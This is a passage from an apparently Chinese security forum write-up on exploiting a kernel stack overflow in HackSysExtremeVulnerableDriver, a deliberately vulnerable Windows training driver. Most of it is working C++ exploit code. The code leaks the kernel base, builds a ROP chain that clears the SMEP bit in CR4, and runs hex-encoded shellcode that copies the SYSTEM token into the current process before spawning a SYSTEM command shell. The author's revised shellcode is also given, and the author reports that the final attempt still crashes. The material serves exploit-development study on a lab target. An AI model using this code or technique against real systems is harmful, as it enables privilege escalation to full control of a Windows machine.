        NULL);
 
    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver" << endl;
        exit(1);
    }
 
    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: 0x" << hex
        << (INT64)hFile << endl;
 
    return hFile;
}
 
void send_payload(HANDLE hFile, INT64 kernel_base) {
 
    cout << "[>] Allocating RWX shellcode..." << endl;
 
    // slightly altered shellcode from
    // https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c
    // thank you @Cneelis
    BYTE shellcode[] =
        "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR
        "\x4C\x8B\x82\xB8\x00\x00\x00"              // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)
        "\x4D\x8B\x88\xf0\x02\x00\x00"              // mov r9, [r8 + 2f0h]      ; ActiveProcessLinks list head
        "\x49\x8B\x09"                              // mov rcx, [r9]            ; Follow link to first process in list
        //find_system_proc:
        "\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId
        "\x48\x83\xFA\x04"                          // cmp rdx, 4               ; Process with ID 4 is System process
        "\x74\x05"                                  // jz found_system          ; Found SYSTEM token
        "\x48\x8B\x09"                              // mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer
        "\xEB\xF1"                                  // jmp find_system_proc     ; Loop
        //found_system:
        "\x48\x8B\x41\x68"                          // mov rax, [rcx + 68h]     ; Offset from ActiveProcessLinks to Token
        "\x24\xF0"                                  // and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure
        "\x49\x89\x80\x58\x03\x00\x00"              // mov [r8 + 358h], rax     ; Copy SYSTEM token to current process's token
        "\x48\x83\xC4\x40"                          // add rsp, 040h
        "\x48\x31\xF6"                              // xor rsi, rsi             ; Zeroing out rsi register to avoid Crash
        "\x48\x31\xC0"                              // xor rax, rax             ; NTSTATUS Status = STATUS_SUCCESS
        "\xc3";
 
    LPVOID shellcode_addr = VirtualAlloc(NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
 
    memcpy(shellcode_addr, shellcode, sizeof(shellcode));
 
    cout << "[>] Shellcode allocated in userland at: 0x" << (INT64)shellcode_addr
        << endl;
 
    BYTE input_buff[2088] = { 0 };
 
    INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1
    cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl;
    INT64 rcx_value = 0x70678; // value we want placed in cr4
    INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2
    cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl;
 
 
    memset(input_buff, '\x41', 2056);
    memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx
    memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value
    memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
    memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode
 
    // keep this here for testing so you can see what normal buffers do to subsequent routines
    // to learn from for execution restoration
    /*
    BYTE input_buff[2048] = { 0 };
    memset(input_buff, '\x41', 2048);
    */
 
    cout << "[>] Input buff located at: 0x" << (INT64)&input_buff << endl;
 
    DWORD bytes_ret = 0x0;
 
    cout << "[>] Sending payload..." << endl;
 
    int result = DeviceIoControl(hFile,
        IOCTL,
        input_buff,
        sizeof(input_buff),
        NULL,
        0,
        &bytes_ret,
        NULL);
 
    if (!result) {
        cout << "[!] DeviceIoControl failed!" << endl;
    }
}
 
INT64 get_kernel_base() {
 
    cout << "[>] Getting kernel base address..." << endl;
 
    //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
    //also using the same import technique that @tekwizz123 showed us
 
    PNtQuerySystemInformation NtQuerySystemInformation =
        (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "NtQuerySystemInformation");
 
    if (!NtQuerySystemInformation) {
 
        cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
 
    ULONG len = 0;
    NtQuerySystemInformation(SystemModuleInformation,
        NULL,
        0,
        &len);
 
    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
        VirtualAlloc(NULL,
            len,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
 
    NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
        pModuleInfo,
        len,
        &len);
 
    if (status != (NTSTATUS)0x0) {
        cout << "[!] NtQuerySystemInformation failed!" << endl;
        exit(1);
    }
 
    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
 
    cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;
 
    return (INT64)kernelImageBase;
}
 
void spawn_shell() {
 
    cout << "[>] Spawning nt authority/system shell..." << endl;
 
    PROCESS_INFORMATION pi;
    ZeroMemory(&pi, sizeof(pi));
 
    STARTUPINFOA si;
    ZeroMemory(&si, sizeof(si));
 
    CreateProcessA("C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        0,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi);
}
 
int main() {
 
    HANDLE hFile = grab_handle();
 
    INT64 kernel_base = get_kernel_base();
    send_payload(hFile, kernel_base);
    spawn_shell();
}

其获取内核基址采用NtQuerySystemInformation函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    ULONG                Reserved3;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
 
typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;
 
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );
.......
INT64 get_kernel_base() {
 
    cout << "[>] Getting kernel base address..." << endl;
 
    //Get NtQuerySystemInformation Address
    PNtQuerySystemInformation NtQuerySystemInformation =
        (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "NtQuerySystemInformation");
 
    if (!NtQuerySystemInformation) {
 
        cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
 
    ULONG len = 0;
 
    //Get Buffer Length
    NtQuerySystemInformation(SystemModuleInformation,
        NULL,
        0,
        &len);
 
    //Allocate Memory
    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
        VirtualAlloc(NULL,
            len,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);
 
   //Get SYSTEM_MODULE_INFORMATION
    NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
        pModuleInfo,
        len,
        &len);
 
    if (status != (NTSTATUS)0x0) {
        cout << "[!] NtQuerySystemInformation failed!" << endl;
        exit(1);
    }
 
    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
 
    cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;
 
    return (INT64)kernelImageBase;
}

之后Bypass SMEP采用修改CR4寄存器，置其第21位为0。据笔者环境，CR4=00000000001506f8，应修改为00000000000506f8，Gadgets如下：

1
2
3
pop     rcx;retn        //nt!HvlEndSystemInterrupt+20
00000000000506f8        //CR4 Value
mov     cr4, rcx;retn    //nt!KeFlushCurrentTbImmediately+17

笔者环境中_EPROCESS结构与Exp作者略有不同，故修改Shellcode如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
"\x54\x50\x51\x52\x53\x55\x56\x57\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9C"      //PUSHAD
        "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR
        "\x4C\x8B\x82\xB8\x00\x00\x00"              // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)
        "\x4D\x8B\x88\xe8\x02\x00\x00"              // mov r9, [r8 + 2e8h]      ; ActiveProcessLinks list head
        "\x49\x8B\x09"                              // mov rcx, [r9]            ; Follow link to first process in list
        //find_system_proc:
        "\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId
        "\x48\x83\xFA\x04"                          // cmp rdx, 4               ; Process with ID 4 is System process
        "\x74\x05"                                  // jz found_system          ; Found SYSTEM token
        "\x48\x8B\x09"                              // mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer
        "\xEB\xF1"                                  // jmp find_system_proc     ; Loop
        //found_system:
        "\x48\x8B\x41\x70"                          // mov rax, [rcx + 70h]     ; Offset from ActiveProcessLinks to Token
        "\x24\xF0"                                  // and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure
        "\x49\x89\x80\x58\x03\x00\x00"              // mov [r8 + 358h], rax     ; Copy SYSTEM token to current process's token
        "\x9D\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59\x41\x58\x5F\x5E\x5D\x5B\x5A\x59\x58\x5C"      //POPAD
        "\x48\x83\xC4\x10"                          // add rsp, 010h
        "\x48\x31\xC0"                              // xor rax, rax             ; NTSTATUS Status = STATUS_SUCCESS
        "\xc3";

其他部分与上节思路基本一致，不再赘述。笔者构造的Exploit可以于目标虚拟机中执行，修改CR4及替换Token完成后恢复原执行环境，崩溃如下：

 

图20

 

由于知识储备有限，笔者尝试良久，未果。总结整体思路为：Get Kernel Base Address—>ROP(Modify CR4 value)—>Shellcode(User Space)。

0x04 参阅链接

  • [I/O request packets—Microsoft Docs]https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets
  • [Device nodes and device stacks—Microsoft Docs]https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/device-nodes-and-device-stacks
  • [HelloWorld driver—Github]https://gist.github.com/hasherezade/ee1a1914dfa2920c77e82fd52717a8fb
  • [Write a Hello World Windows Driver (KMDF)—Microsoft Docs]https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver
  • [Kernel Exploitation -> Stack Overflow—FuzzySecurity]https://www.fuzzysecurity.com/tutorials/expDev/14.html
  • [Windows SMEP Bypass:U=S—Core Security]https://www.coresecurity.com/sites/default/files/2020-06/Windows%20SMEP%20bypass%20U%20equals%20S_0.pdf
  • [Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming—PT Security]http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html
  • [x64_StackOverflow_SMEP_Bypass—Github]https://github.com/h0mbre/Windows-Exploits/blob/master/Exploit-Code/HEVD/x64_StackOverflow_SMEP_Bypass.cpp

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)

收藏
免费 ・1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
回帖 表情 雪币赚取及消费
高级回复
返回
//